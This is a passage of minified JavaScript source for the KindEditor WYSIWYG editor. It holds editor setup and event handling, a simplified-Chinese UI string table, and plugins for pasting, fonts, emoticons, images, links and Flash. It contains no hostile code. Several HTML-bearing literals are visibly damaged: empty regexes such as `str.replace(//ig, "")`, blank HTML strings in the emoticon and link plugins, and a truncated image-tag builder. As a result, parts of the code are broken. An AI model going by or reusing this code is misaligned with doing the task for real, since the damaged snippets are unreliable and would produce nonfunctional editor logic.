(KE.browser.WEBKIT) { KE.event.add(iframeDoc, 'click', function(e) { KE.util.selectImageWebkit(id, e, true); }, id); } if (KE.browser.IE) { KE.event.add(iframeDoc, 'keydown', function(e) { if (e.keyCode == 8) { var range = KE.g[id].range; if (range.item) { var item = range.item(0); item.parentNode.removeChild(item); KE.util.execOnchangeHandler(id); KE.event.stop(id); return false; } } }, id); } KE.event.add(iframeDoc, 'click', hideMenu, id); KE.event.add(iframeDoc, 'click', updateToolbar, id); KE.event.input(iframeDoc, updateToolbar, id); KE.event.bind(newTextarea, 'click', hideMenu, id); KE.event.add(document, 'click', hideMenu, id); KE.g[id].toolbarTable = toolbarTable; KE.g[id].textareaTable = textareaTable; KE.g[id].srcTextarea = srcTextarea; KE.g[id].bottom = bottom; KE.g[id].hideDiv = hideDiv; KE.g[id].maskDiv = maskDiv; KE.g[id].iframeWin = iframeWin; KE.g[id].iframeDoc = iframeDoc; KE.g[id].width = width; KE.g[id].height = height; KE.util.drag(id, bottomRight, container, function(objTop, objLeft, objWidth, objHeight, top, left) { if (KE.g[id].resizeMode == 2) KE.util.resize(id, (objWidth + left) + 'px', (objHeight + top) + 'px', true); else if (KE.g[id].resizeMode == 1) KE.util.resize(id, objWidth + 'px', (objHeight + top) + 'px', true, false); }); KE.util.drag(id, bottomLeft, container, function(objTop, objLeft, objWidth, objHeight, top, left) { if (KE.g[id].resizeMode > 0) KE.util.resize(id, objWidth + 'px', (objHeight + top) + 'px', true, false); }); KE.each(KE.plugin, function(cmd, plugin) { if (plugin.init) plugin.init(id); }); KE.g[id].getHtmlHooks.push(function(html) { return html.replace(/(<[^>]*)kesrc="([^"]+)"([^>]*>)/ig, function(full, start, src, end) { full = full.replace(/(\s+(?:href|src)=")[^"]+(")/i, '$1' + src + '$2'); full = full.replace(/\s+kesrc="[^"]+"/i, ''); return full; }); }); KE.g[id].setHtmlHooks.push(function(html) { return html.replace(/(<[^>]*)(href|src)="([^"]+)"([^>]*>)/ig, function(full, start, key, src, end) { if (full.match(/\skesrc="[^"]+"/i)) return full; full = start + key + '="' + src + '"' + ' kesrc="' + src + '"' + end; return full; }); }); KE.util.addContextmenuEvent(id); KE.util.addNewlineEvent(id); KE.util.addTabEvent(id); function setSelectionHandler() { KE.util.setSelection(id); } KE.event.input(iframeDoc, setSelectionHandler, id); KE.event.add(iframeDoc, 'mouseup', setSelectionHandler, id); KE.event.add(document, 'mousedown', setSelectionHandler, id); KE.onchange(id, function(id) { if (KE.g[id].autoSetDataMode) { KE.util.setData(id); if (KE.g[id].afterSetData) KE.g[id].afterSetData(id); } KE.history.add(id, KE.g[id].minChangeSize); }); if (KE.browser.IE && KE.browser.VERSION > 7) KE.readonly(id, false); KE.util.setFullHtml(id, srcTextarea.value); KE.history.add(id, 0); if (mode > 0) KE.util.focus(id); if (KE.g[id].afterCreate) KE.g[id].afterCreate(id); }; KE.onchange = function(id, func) { var g = KE.g[id]; function handler() { func(id); }; g.onchangeHandlerStack.push(handler); KE.event.input(g.iframeDoc, handler, id); KE.event.input(g.newTextarea, handler, id); KE.event.add(g.iframeDoc, 'mouseup', function(e) { window.setTimeout(function() { func(id); }, 0); }, id); }; KE.init = function(args) { var g = KE.g[args.id] = args; g.config = {}; g.undoStack = []; g.redoStack = []; g.dialogStack = []; g.contextmenuItems = []; g.getHtmlHooks = []; g.setHtmlHooks = []; g.onchangeHandlerStack = []; g.eventStack = []; KE.each(KE.setting, function(key, val) { g[key] = (typeof args[key] == 'undefined') ? val : args[key]; g.config[key] = g[key]; }); if (g.loadStyleMode) KE.util.loadStyle(g.skinsPath + g.skinType + '.css'); } KE.show = function(args) { KE.init(args); KE.event.ready(function() { KE.create(args.id); }); }; if (window.KE === undefined) window.KE = KE; window.KindEditor = KE; })(); (function (KE, undefined) { KE.langType = 'zh_CN'; KE.lang = { source : 'HTML代码', undo : '后退(Ctrl+Z)', redo : '前进(Ctrl+Y)', cut : '剪切(Ctrl+X)', copy : '复制(Ctrl+C)', paste : '粘贴(Ctrl+V)', plainpaste : '粘贴为无格式文本', wordpaste : '从Word粘贴', selectall : '全选', justifyleft : '左对齐', justifycenter : '居中', justifyright : '右对齐', justifyfull : '两端对齐', insertorderedlist : '编号', insertunorderedlist : '项目符号', indent : '增加缩进', outdent : '减少缩进', subscript : '下标', superscript : '上标', title : '标题', fontname : '字体', fontsize : '文字大小', textcolor : '文字颜色', bgcolor : '文字背景', bold : '粗体(Ctrl+B)', italic : '斜体(Ctrl+I)', underline : '下划线(Ctrl+U)', strikethrough : '删除线', removeformat : '删除格式', image : '图片', flash : '插入Flash', media : '插入多媒体', table : '插入表格', hr : '插入横线', emoticons : '插入表情', link : '超级链接', unlink : '取消超级链接', fullscreen : '全屏显示', about : '关于', print : '打印', fileManager : '浏览服务器', advtable : '表格', yes : '确定', no : '取消', close : '关闭', editImage : '图片属性', deleteImage : '删除图片', editLink : '超级链接属性', deleteLink : '取消超级链接', tableprop : '表格属性', tableinsert : '插入表格', tabledelete : '删除表格', tablecolinsertleft : '左侧插入列', tablecolinsertright : '右侧插入列', tablerowinsertabove : '上方插入行', tablerowinsertbelow : '下方插入行', tablecoldelete : '删除列', tablerowdelete : '删除行', noColor : '无颜色', invalidImg : "请输入有效的URL地址。\n只允许jpg,gif,bmp,png格式。", invalidMedia : "请输入有效的URL地址。\n只允许swf,flv,mp3,wav,wma,wmv,mid,avi,mpg,asf,rm,rmvb格式。", invalidWidth : "宽度必须为数字。", invalidHeight : "高度必须为数字。", invalidBorder : "边框必须为数字。", invalidUrl : "请输入有效的URL地址。", invalidRows : '行数为必选项,只允许输入大于0的数字。', invalidCols : '列数为必选项,只允许输入大于0的数字。', invalidPadding : '边距必须为数字。', invalidSpacing : '间距必须为数字。', invalidBorder : '边框必须为数字。', pleaseInput : "请输入内容。", invalidJson : '服务器发生故障。', cutError : '您的浏览器安全设置不允许使用剪切操作,请使用快捷键(Ctrl+X)来完成。', copyError : '您的浏览器安全设置不允许使用复制操作,请使用快捷键(Ctrl+C)来完成。', pasteError : '您的浏览器安全设置不允许使用粘贴操作,请使用快捷键(Ctrl+V)来完成。' }; var plugins = KE.lang.plugins = {}; plugins.about = { version : KE.version, title : 'HTML可视化编辑器' }; plugins.plainpaste = { comment : '请使用快捷键(Ctrl+V)把内容粘贴到下面的方框里。' }; plugins.wordpaste = { comment : '请使用快捷键(Ctrl+V)把内容粘贴到下面的方框里。' }; plugins.link = { url : 'URL地址', linkType : '打开类型', newWindow : '新窗口', selfWindow : '当前窗口' }; plugins.flash = { url : 'Flash地址', width : '宽度', height : '高度' }; plugins.media = { url : '媒体文件地址', width : '宽度', height : '高度', autostart : '自动播放' }; plugins.image = { remoteImage : '远程图片', localImage : '本地上传', remoteUrl : '图片地址', localUrl : '图片地址', size : '图片大小', width : '宽', height : '高', resetSize : '重置大小', align : '对齐方式', defaultAlign : '默认方式', leftAlign : '左对齐', rightAlign : '右对齐', imgTitle : '图片说明', viewServer : '浏览...' }; plugins.file_manager = { emptyFolder : '空文件夹', moveup : '移到上一级文件夹', viewType : '显示方式:', viewImage : '缩略图', listImage : '详细信息', orderType : '排序方式:', fileName : '名称', fileSize : '大小', fileType : '类型' }; plugins.advtable = { cells : '单元格数', rows : '行数', cols : '列数', size : '表格大小', width : '宽度', height : '高度', percent : '%', px : 'px', space : '边距间距', padding : '边距', spacing : '间距', align : '对齐方式', alignDefault : '默认', alignLeft : '左对齐', alignCenter : '居中', alignRight : '右对齐', border : '表格边框', borderWidth : '边框', borderColor : '颜色', backgroundColor : '背景颜色' }; plugins.title = { h1 : '标题 1', h2 : '标题 2', h3 : '标题 3', h4 : '标题 4', p : '正 文' }; plugins.fontname = { fontName : { 'SimSun' : '宋体', 'NSimSun' : '新宋体', 'FangSong_GB2312' : '仿宋_GB2312', 'KaiTi_GB2312' : '楷体_GB2312', 'SimHei' : '黑体', 'Microsoft YaHei' : '微软雅黑', 'Arial' : 'Arial', 'Arial Black' : 'Arial Black', 'Times New Roman' : 'Times New Roman', 'Courier New' : 'Courier New', 'Tahoma' : 'Tahoma', 'Verdana' : 'Verdana' } }; })(KindEditor); (function (KE, undefined) { KE.plugin['about'] = { click : function(id) { KE.util.selection(id); var dialog = new KE.dialog({ id : id, cmd : 'about', file : 'about.html', width : 300, height : 70, loadingMode : true, title : KE.lang['about'], noButton : KE.lang['close'] }); dialog.show(); } }; KE.plugin['undo'] = { init : function(id) { KE.event.ctrl(KE.g[id].iframeDoc, 'Z', function(e) { KE.plugin['undo'].click(id); KE.util.focus(id); }, id); KE.event.ctrl(KE.g[id].newTextarea, 'Z', function(e) { KE.plugin['undo'].click(id); KE.util.focus(id); }, id); }, click : function(id) { KE.history.undo(id); KE.util.execOnchangeHandler(id); } }; KE.plugin['redo'] = { init : function(id) { KE.event.ctrl(KE.g[id].iframeDoc, 'Y', function(e) { KE.plugin['redo'].click(id); KE.util.focus(id); }, id); KE.event.ctrl(KE.g[id].newTextarea, 'Y', function(e) { KE.plugin['redo'].click(id); KE.util.focus(id); }, id); }, click : function(id) { KE.history.redo(id); KE.util.execOnchangeHandler(id); } }; KE.plugin['cut'] = { click : function(id) { try { if (!KE.g[id].iframeDoc.queryCommandSupported('cut')) throw 'e'; } catch(e) { alert(KE.lang.cutError); return; } KE.util.execCommand(id, 'cut', null); } }; KE.plugin['copy'] = { click : function(id) { try { if (!KE.g[id].iframeDoc.queryCommandSupported('copy')) throw 'e'; } catch(e) { alert(KE.lang.copyError); return; } KE.util.execCommand(id, 'copy', null); } }; KE.plugin['paste'] = { click : function(id) { try { if (!KE.g[id].iframeDoc.queryCommandSupported('paste')) throw 'e'; } catch(e) { alert(KE.lang.pasteError); return; } KE.util.execCommand(id, 'paste', null); } }; KE.plugin['plainpaste'] = { click : function(id) { KE.util.selection(id); this.dialog = new KE.dialog({ id : id, cmd : 'plainpaste', file : 'plainpaste.html', width : 450, height : 300, loadingMode : true, title : KE.lang['plainpaste'], yesButton : KE.lang['yes'], noButton : KE.lang['no'] }); this.dialog.show(); }, exec : function(id) { var dialogDoc = KE.util.getIframeDoc(this.dialog.iframe); var html = KE.$('textArea', dialogDoc).value; html = KE.util.escape(html); html = html.replace(/ /g, ' '); html = html.replace(/\r\n|\n|\r/g, "
$&"); KE.util.insertHtml(id, html); this.dialog.hide(); KE.util.focus(id); } }; KE.plugin['wordpaste'] = { click : function(id) { KE.util.selection(id); this.dialog = new KE.dialog({ id : id, cmd : 'wordpaste', file : 'wordpaste.html', width : 450, height : 300, loadingMode : true, title : KE.lang['wordpaste'], yesButton : KE.lang['yes'], noButton : KE.lang['no'] }); this.dialog.show(); }, exec : function(id) { var dialogDoc = KE.util.getIframeDoc(this.dialog.iframe); var wordIframe = KE.$('wordIframe', dialogDoc); var str = KE.util.getIframeDoc(wordIframe).body.innerHTML; str = str.replace(//ig, ""); str = str.replace(//ig, ""); str = str.replace(/]*>(\n|.)*?<\/style>/ig, ""); str = str.replace(/]*>(\n|.)*?<\/script>/ig, ""); str = str.replace(/]+>(\n|.)*?<\/w:[^>]+>/ig, ""); str = str.replace(/(\n|.)*?<\/xml>/ig, ""); str = str.replace(/\r\n|\n|\r/ig, ""); str = KE.util.execGetHtmlHooks(id, str); str = KE.format.getHtml(str, KE.g[id].htmlTags, KE.g[id].urlType); KE.util.insertHtml(id, str); this.dialog.hide(); KE.util.focus(id); } }; KE.plugin['fullscreen'] = { click : function(id) { var g = KE.g[id]; var self = this; var resetSize = function() { var el = KE.util.getDocumentElement(); g.width = el.clientWidth + 'px'; g.height = el.clientHeight + 'px'; }; var windowSize = ''; var resizeListener = function() { if (!self.isSelected) return; var el = KE.util.getDocumentElement(); var size = [el.clientWidth, el.clientHeight].join(''); if (windowSize != size) { windowSize = size; resetSize(); KE.util.resize(id, g.width, g.height); } } if (this.isSelected) { this.isSelected = false; KE.util.setData(id); KE.remove(id, 1); g.width = this.width; g.height = this.height; KE.create(id, 2); document.body.parentNode.style.overflow = 'auto'; KE.event.remove(window, 'resize', resizeListener); g.resizeMode = g.config.resizeMode; KE.toolbar.unselect(id, "fullscreen"); } else { this.isSelected = true; this.width = g.container.style.width; this.height = g.container.style.height; KE.util.setData(id); KE.remove(id, 2); document.body.parentNode.style.overflow = 'hidden'; resetSize(); KE.create(id, 1); var pos = KE.util.getScrollPos(); var div = g.container; div.style.position = 'absolute'; div.style.left = pos.x + 'px'; div.style.top = pos.y + 'px'; div.style.zIndex = 19811211; KE.event.add(window, 'resize', resizeListener); g.resizeMode = 0; KE.toolbar.select(id, "fullscreen"); } } }; KE.plugin['bgcolor'] = { click : function(id) { KE.util.selection(id); var color = KE.queryCommandValue(KE.g[id].iframeDoc, 'bgcolor'); this.menu = new KE.menu({ id : id, cmd : 'bgcolor' }); this.menu.picker(color); }, exec : function(id, value) { var cmd = new KE.cmd(id); if (value == '') { cmd.remove({ 'span' : ['.background-color'] }); } else { cmd.wrap('span', [{'.background-color': value}]); } KE.util.execOnchangeHandler(id); this.menu.hide(); KE.util.focus(id); } }; KE.plugin['fontname'] = { click : function(id) { var fontName = KE.lang.plugins.fontname.fontName; var cmd = 'fontname'; KE.util.selection(id); var menu = new KE.menu({ id : id, cmd : cmd, width : 150 }); var font = KE.queryCommandValue(KE.g[id].iframeDoc, cmd); KE.each(fontName, function(key, value) { var html = '' + value + ''; menu.add( html, function() { KE.plugin[cmd].exec(id, key); }, { checked : (font === key.toLowerCase() || font === value.toLowerCase()) } ); }); menu.show(); this.menu = menu; }, exec : function(id, value) { var cmd = new KE.cmd(id); cmd.wrap('span', [{'.font-family': value}]); KE.util.execOnchangeHandler(id); this.menu.hide(); KE.util.focus(id); } }; KE.plugin['fontsize'] = { click : function(id) { var fontSize = ['9px', '10px', '12px', '14px', '16px', '18px', '24px', '32px']; var cmd = 'fontsize'; KE.util.selection(id); var size = KE.queryCommandValue(KE.g[id].iframeDoc, 'fontsize'); var menu = new KE.menu({ id : id, cmd : cmd, width : 120 }); for (var i = 0, len = fontSize.length; i < len; i++) { var value = fontSize[i]; var html = '' + value + ''; menu.add( html, (function(value) { return function() { KE.plugin[cmd].exec(id, value); }; })(value), { height : (parseInt(value) + 12) + 'px', checked : (size === value) } ); } menu.show(); this.menu = menu; }, exec : function(id, value) { var cmd = new KE.cmd(id); cmd.wrap('span', [{'.font-size': value}]); KE.util.execOnchangeHandler(id); this.menu.hide(); KE.util.focus(id); } }; KE.plugin['hr'] = { click : function(id) { KE.util.selection(id); KE.util.insertHtml(id, '


'); KE.util.focus(id); } }; KE.plugin['print'] = { click : function(id) { KE.util.selection(id); KE.g[id].iframeWin.print(); } }; KE.plugin['removeformat'] = { click : function(id) { KE.util.selection(id); var cmd = new KE.cmd(id); var tags = { '*' : ['class', 'style'] }; for (var i = 0, len = KE.g[id].inlineTags.length; i < len; i++) { tags[KE.g[id].inlineTags[i]] = ['*']; } cmd.remove(tags); KE.util.execOnchangeHandler(id); KE.toolbar.updateState(id); KE.util.focus(id); } }; KE.plugin['source'] = { click : function(id) { var g = KE.g[id]; if (!g.wyswygMode) { KE.util.setFullHtml(id, g.newTextarea.value); g.iframe.style.display = 'block'; g.newTextarea.style.display = 'none'; KE.toolbar.able(id, ['source', 'fullscreen']); g.wyswygMode = true; this.isSelected = false; KE.toolbar.unselect(id, "source"); } else { KE.hideMenu(id); g.newTextarea.value = KE.util.getData(id); g.iframe.style.display = 'none'; g.newTextarea.style.display = 'block'; KE.toolbar.disable(id, ['source', 'fullscreen']); g.wyswygMode = false; this.isSelected = true; KE.toolbar.select(id, "source"); } KE.util.focus(id); } }; KE.plugin['textcolor'] = { click : function(id) { KE.util.selection(id); var color = KE.queryCommandValue(KE.g[id].iframeDoc, 'textcolor'); this.menu = new KE.menu({ id : id, cmd : 'textcolor' }); this.menu.picker(color); }, exec : function(id, value) { var cmd = new KE.cmd(id); if (value == '') { cmd.remove({ 'span' : ['.color'], 'font' : ['color'] }); } else { cmd.wrap('span', [{'.color': value}]); } KE.util.execOnchangeHandler(id); this.menu.hide(); KE.util.focus(id); } }; KE.plugin['title'] = { click : function(id) { var lang = KE.lang.plugins.title; var title = { 'H1' : lang.h1, 'H2' : lang.h2, 'H3' : lang.h3, 'H4' : lang.h4, 'P' : lang.p }; var sizeHash = { 'H1' : 28, 'H2' : 24, 'H3' : 18, 'H4' : 14, 'P' : 12 }; var cmd = 'title'; KE.util.selection(id); var block = KE.queryCommandValue(KE.g[id].iframeDoc, 'formatblock'); var menu = new KE.menu({ id : id, cmd : cmd, width : (KE.langType == 'en' ? 200 : 150) }); KE.each(title, function(key, value) { var style = 'font-size:' + sizeHash[key] + 'px;' if (key !== 'P') style += 'font-weight:bold;'; var html = '' + value + ''; menu.add(html, function() { KE.plugin[cmd].exec(id, '<' + key + '>'); }, { height : (sizeHash[key] + 12) + 'px', checked : (block === key.toLowerCase() || block === value.toLowerCase() ) } ); }); menu.show(); this.menu = menu; }, exec : function(id, value) { KE.util.select(id); KE.util.execCommand(id, 'formatblock', value); this.menu.hide(); KE.util.focus(id); } }; KE.plugin['emoticons'] = { click : function(id) { var self = this, cmd = 'emoticons', rows = 5, cols = 9, total = 135, startNum = 0, cells = rows * cols, pages = Math.ceil(total / cells), colsHalf = Math.floor(cols / 2), g = KE.g[id], path = g.pluginsPath + 'emoticons/', allowPreview = (g.allowPreviewEmoticons === undefined) ? true : g.allowPreviewEmoticons; KE.util.selection(id); var wrapperDiv = KE.$$('div'); wrapperDiv.className = 'ke-plugin-emoticons-wrapper'; var previewDiv, previewImg; if (allowPreview) { previewDiv = KE.$$('div'); previewDiv.className = 'ke-plugin-emoticons-preview'; previewDiv.style.right = 0; var previewImg = KE.$$('img'); previewImg.className = 'ke-reset'; previewImg.src = path + '0.gif'; previewImg.border = 0; previewDiv.appendChild(previewImg); wrapperDiv.appendChild(previewDiv); } function createEmoticonsTable(pageNum) { var table = KE.$$('table'); if (previewDiv) { table.onmouseover = function() { previewDiv.style.display = 'block'; }; table.onmouseout = function() { previewDiv.style.display = 'none'; }; } table.className = 'ke-plugin-emoticons-table'; table.cellPadding = 0; table.cellSpacing = 0; table.border = 0; var num = (pageNum - 1) * cells + startNum; for (var i = 0; i < rows; i++) { var row = table.insertRow(i); for (var j = 0; j < cols; j++) { var cell = row.insertCell(j); cell.className = 'ke-plugin-emoticons-cell'; if (previewDiv) { cell.onmouseover = (function(j, num) { return function() { if (j > colsHalf) { previewDiv.style.left = 0; previewDiv.style.right = ''; } else { previewDiv.style.left = ''; previewDiv.style.right = 0; } previewImg.src = path + num + '.gif';; this.className = 'ke-plugin-emoticons-cell ke-plugin-emoticons-cell-on'; }; })(j, num); } else { cell.onmouseover = function() { this.className = 'ke-plugin-emoticons-cell ke-plugin-emoticons-cell-on'; }; } cell.onmouseout = function() { this.className = 'ke-plugin-emoticons-cell'; }; cell.onclick = (function(num) { return function() { self.exec(id, num); return false; }; })(num); var span = KE.$$('span'); span.className = 'ke-plugin-emoticons-img'; span.style.backgroundPosition = '-' + (24 * num) + 'px 0px'; cell.appendChild(span); num++; } } return table; } var table = createEmoticonsTable(1); wrapperDiv.appendChild(table); var pageDiv = KE.$$('div'); pageDiv.className = 'ke-plugin-emoticons-page'; wrapperDiv.appendChild(pageDiv); function createPageTable(currentPageNum) { for (var pageNum = 1; pageNum <= pages; pageNum++) { if (currentPageNum !== pageNum) { var a = KE.$$('a'); a.href = 'javascript:;'; a.innerHTML = '[' + pageNum + ']'; a.onclick = (function(pageNum) { return function() { wrapperDiv.removeChild(table); var newTable = createEmoticonsTable(pageNum); wrapperDiv.insertBefore(newTable, pageDiv); table = newTable; pageDiv.innerHTML = ''; createPageTable(pageNum); return false; }; })(pageNum); pageDiv.appendChild(a); } else { pageDiv.appendChild(document.createTextNode('[' + pageNum + ']')); } pageDiv.appendChild(document.createTextNode(' ')); } } createPageTable(1); var menu = new KE.menu({ id : id, cmd : cmd }); menu.append(wrapperDiv); menu.show(); this.menu = menu; }, exec : function(id, num) { var src = KE.g[id].pluginsPath + 'emoticons/' + num + '.gif'; var html = ''; KE.util.insertHtml(id, html); this.menu.hide(); KE.util.focus(id); } }; KE.plugin['flash'] = { init : function(id) { var self = this; KE.g[id].getHtmlHooks.push(function(html) { return html.replace(/]*class="?ke-flash"?[^>]*>/ig, function(imgStr) { var width = imgStr.match(/style="[^"]*;?\s*width:\s*(\d+)/i) ? RegExp.$1 : 0; var height = imgStr.match(/style="[^"]*;?\s*height:\s*(\d+)/i) ? RegExp.$1 : 0; width = width || (imgStr.match(/width="([^"]+)"/i) ? RegExp.$1 : 0); height = height || (imgStr.match(/height="([^"]+)"/i) ? RegExp.$1 : 0); if (imgStr.match(/kesrctag="([^"]+)"/i)) { var attrs = KE.util.getAttrList(unescape(RegExp.$1)); attrs.width = width || attrs.width || 0; attrs.height = height || attrs.height || 0; attrs.kesrc = attrs.src; return KE.util.getMediaEmbed(attrs); } }); }); KE.g[id].setHtmlHooks.push(function(html) { return html.replace(/]*type="application\/x-shockwave-flash"[^>]*>(?:<\/embed>)?/ig, function($0) { var src = $0.match(/\s+src="([^"]+)"/i) ? RegExp.$1 : ''; if ($0.match(/\s+kesrc="([^"]+)"/i)) src = RegExp.$1; var width = $0.match(/\s+width="([^"]+)"/i) ? RegExp.$1 : 0; var height = $0.match(/\s+height="([^"]+)"/i) ? RegExp.$1 : 0; var attrs = KE.util.getAttrList($0); attrs.src = src; attrs.width = width; attrs.height = height; return KE.util.getMediaImage(id, 'flash', attrs); }); }); }, click : function(id) { KE.util.selection(id); this.dialog = new KE.dialog({ id : id, cmd : 'flash', file : 'flash.html', width : 400, height : 140, loadingMode : true, title : KE.lang['flash'], yesButton : KE.lang['yes'], noButton : KE.lang['no'] }); this.dialog.show(); }, check : function(id, url, width, height) { var dialogDoc = KE.util.getIframeDoc(this.dialog.iframe); if (!url.match(/^.{3,}$/)) { alert(KE.lang['invalidUrl']); KE.$('url', dialogDoc).focus(); return false; } if (!width.match(/^\d*$/)) { alert(KE.lang['invalidWidth']); KE.$('width', dialogDoc).focus(); return false; } if (!height.match(/^\d*$/)) { alert(KE.lang['invalidHeight']); KE.$('height', dialogDoc).focus(); return false; } return true; }, exec : function(id) { var dialogDoc = KE.util.getIframeDoc(this.dialog.iframe); var url = KE.$('url', dialogDoc).value; var width = KE.$('width', dialogDoc).value; var height = KE.$('height', dialogDoc).value; if (!this.check(id, url, width, height)) return false; var html = KE.util.getMediaImage(id, 'flash', { src : url, type : KE.g[id].mediaTypes['flash'], width : width, height : height, quality : 'high' }); KE.util.insertHtml(id, html); this.dialog.hide(); KE.util.focus(id); } }; KE.plugin['image'] = { getSelectedNode : function(id) { var g = KE.g[id]; var startNode = g.keRange.startNode; var endNode = g.keRange.endNode; if (!KE.browser.WEBKIT && !g.keSel.isControl) return; if (startNode.nodeType != 1) return; if (startNode.tagName.toLowerCase() != 'img') return; if (startNode != endNode) return; if (!startNode.className.match(/^ke-\w+/i)) return startNode; }, init : function(id) { var self = this; var g = KE.g[id]; g.contextmenuItems.push({ text : KE.lang['editImage'], click : function(id, menu) { KE.util.select(id); menu.hide(); self.click(id); }, cond : function(id) { return self.getSelectedNode(id); }, options : { width : '150px', iconHtml : '' } }); g.contextmenuItems.push({ text : KE.lang['deleteImage'], click : function(id, menu) { KE.util.select(id); menu.hide(); var img = self.getSelectedNode(id); img.parentNode.removeChild(img); KE.util.execOnchangeHandler(id); }, cond : function(id) { return self.getSelectedNode(id); }, options : { width : '150px' } }); g.contextmenuItems.push('-'); }, click : function(id) { KE.util.selection(id); this.dialog = new KE.dialog({ id : id, cmd : 'image', file : 'image/image.html', width : 400, height : 220, loadingMode : true, title : KE.lang['image'], yesButton : KE.lang['yes'], noButton : KE.lang['no'] }); this.dialog.show(); }, check : function(id) { var dialogDoc = KE.util.getIframeDoc(this.dialog.iframe); var type = KE.$('type', dialogDoc).value; var width = KE.$('imgWidth', dialogDoc).value; var height = KE.$('imgHeight', dialogDoc).value; var title = KE.$('imgTitle', dialogDoc).value; var urlBox; if (type == 2) { urlBox = KE.$('imgFile', dialogDoc); } else { urlBox = KE.$('url', dialogDoc); } if (!urlBox.value.match(/\.(jpg|jpeg|gif|bmp|png)(\s|\?|$)/i)) { alert(KE.lang['invalidImg']); urlBox.focus(); return false; } if (!width.match(/^\d*$/)) { alert(KE.lang['invalidWidth']); KE.$('imgWidth', dialogDoc).focus(); return false; } if (!height.match(/^\d*$/)) { alert(KE.lang['invalidHeight']); KE.$('imgHeight', dialogDoc).focus(); return false; } return true; }, exec : function(id) { var self = this; var dialogDoc = KE.util.getIframeDoc(this.dialog.iframe); var type = KE.$('type', dialogDoc).value; var width = KE.$('imgWidth', dialogDoc).value; var height = KE.$('imgHeight', dialogDoc).value; var title = KE.$('imgTitle', dialogDoc).value; var alignElements = dialogDoc.getElementsByName('align'); var align = ''; for (var i = 0, len = alignElements.length; i < len; i++) { if (alignElements[i].checked) { align = alignElements[i].value; break; } } if (!this.check(id)) return false; if (type == 2) { KE.$('editorId', dialogDoc).value = id; var uploadIframe = KE.$('uploadIframe', dialogDoc); KE.util.showLoadingPage(id); var onloadFunc = function() { KE.event.remove(uploadIframe, 'load', onloadFunc); KE.util.hideLoadingPage(id); var uploadDoc = KE.util.getIframeDoc(uploadIframe); var data = ''; try { data = KE.util.parseJson(uploadDoc.body.innerHTML); } catch(e) { alert(KE.lang.invalidJson); } if (typeof data === 'object' && 'error' in data) { if (data.error === 0) { self.insert(id, data.url, title, width, height, 0, align); } else { alert(data.message); return false; } } }; KE.event.add(uploadIframe, 'load', onloadFunc); dialogDoc.uploadForm.submit(); return; } else { var url = KE.$('url', dialogDoc).value; this.insert(id, url, title, width, height, 0, align); } }, insert : function(id, url, title, width, height, border, align) { var html = ' 0) html += 'width="' + width + '" '; if (height > 0) html += 'height="' + height + '" '; if (title) html += 'title="' + title + '" '; if (align) html += 'align="' + align + '" '; html += 'alt="' + title + '" '; html += 'border="' + border + '" />'; KE.util.insertHtml(id, html); this.dialog.hide(); KE.util.focus(id); } }; KE.plugin['link'] = { getSelectedNode : function(id) { return KE.getCommonAncestor(KE.g[id].keSel, 'a'); }, init : function(id) { var self = this; KE.g[id].contextmenuItems.push({ text : KE.lang['editLink'], click : function(id, menu) { KE.util.select(id); menu.hide(); self.click(id); }, cond : function(id) { return self.getSelectedNode(id); }, options : { width : '150px', iconHtml : '' } }); }, click : function(id) { KE.util.selection(id); this.dialog = new KE.dialog({ id : id, cmd : 'link', file : 'link/link.html', width : 400, height : 90, loadingMode : true, title : KE.lang['link'], yesButton : KE.lang['yes'], noButton : KE.lang['no'] }); this.dialog.show(); }, exec : function(id) { var g = KE.g[id]; KE.util.select(id); var range = g.keRange; var startNode = range.startNode; var endNode = range.endNode; var iframeDoc = g.iframeDoc; var dialogDoc = KE.util.getIframeDoc(this.dialog.iframe); var url = KE.$('hyperLink', dialogDoc).value; var target = KE.$('linkType', dialogDoc).value; if (!url.match(/.+/) || url.match(/^\w+:\/\/\/?$/)) { alert(KE.lang['invalidUrl']); KE.$('hyperLink', dialogDoc).focus(); return false; } var node = range.getParentElement(); while (node) { if (node.tagName.toLowerCase() == 'a' || node.tagName.toLowerCase() == 'body') break; node = node.parentNode; } node = node.parentNode; var isItem; if (KE.browser.IE) { isItem = !!g.range.item; } else { isItem = (startNode.nodeType == 1 && startNode === endNode && startNode.nodeName.toLowerCase() != 'br'); } var isEmpty = !isItem; if (!isItem) isEmpty = KE.browser.IE ? g.range.text === '' : g.range.toString() === ''; if (isEmpty || KE.util.isEmpty(id)) { var html = '
'; KE.util.insertHtml(id, html); } else { iframeDoc.execCommand('createlink', false, '__ke_temp_url__'); var arr = node.getElementsByTagName('a'); for (var i = 0, l = arr.length; i < l; i++) { if (arr[i].href.match(/\/?__ke_temp_url__$/)) { arr[i].href = url; arr[i].setAttribute('kesrc', url); if (target) arr[i].target = target; else arr[i].removeAttribute('target'); } } if (KE.browser.WEBKIT && isItem && startNode.tagName.toLowerCase() == 'img') { var parent = startNode.parentNode; if (parent.tagName.toLowerCase() != 'a') { var a = KE.$$('a', iframeDoc); parent.insertBefore(a, startNode); a.appendChild(startNode); parent = a; } parent.href = url; parent.setAttribute('kesrc', url); if (target) parent.target = target; else parent.removeAttribute('target'); g.keSel.addRange(range); } } KE.util.execOnchangeHandler(id); this.dialog.hide(); KE.util.focus(id); } }; KE.plugin['unlink'] = { init : function(id) { var self = this; KE.g[id].contextmenuItems.push({ text : KE.lang['deleteLink'], click : function(id, menu) { KE.util.select(id); menu.hide(); self.click(id); }, cond : function(id) { return KE.plugin['link'].getSelectedNode(id); }, options : { width : '150px', iconHtml : '' } }); KE.g[id].contextmenuItems.push('-'); }, click : function(id) { var g = KE.g[id]; var iframeDoc = g.iframeDoc; KE.util.selection(id); var range = g.keRange; var startNode = range.startNode; var endNode = range.endNode; var isItem = (startNode.nodeType == 1 && startNode === endNode); var isEmpty = !isItem; if (!isItem) isEmpty = KE.browser.IE ? g.range.text === '' : g.range.toString() === ''; if (isEmpty) { var linkNode = KE.plugin['link'].getSelectedNode(id); if (!linkNode) return; var range = g.keRange; range.selectTextNode(linkNode); g.keSel.addRange(range); KE.util.select(id); iframeDoc.execCommand('unlink', false, null); if (KE.browser.WEBKIT && startNode.tagName.toLowerCase() == 'img') { var parent = startNode.parentNode; if (parent.tagName.toLowerCase() == 'a') { KE.util.removeParent(parent); g.keSel.addRange(range); } } } else { iframeDoc.execCommand('unlink', false, null); } KE.util.execOnchangeHandler(id); KE.toolbar.updateState(id); KE.util.focus(id); } }; KE.plugin['media'] = { init : function(id) { var self = this; var typeHash = {}; KE.each(KE.g[id].mediaTypes, function(key, val) { typeHash[val] = key; }); KE.g[id].getHtmlHooks.push(function(html) { 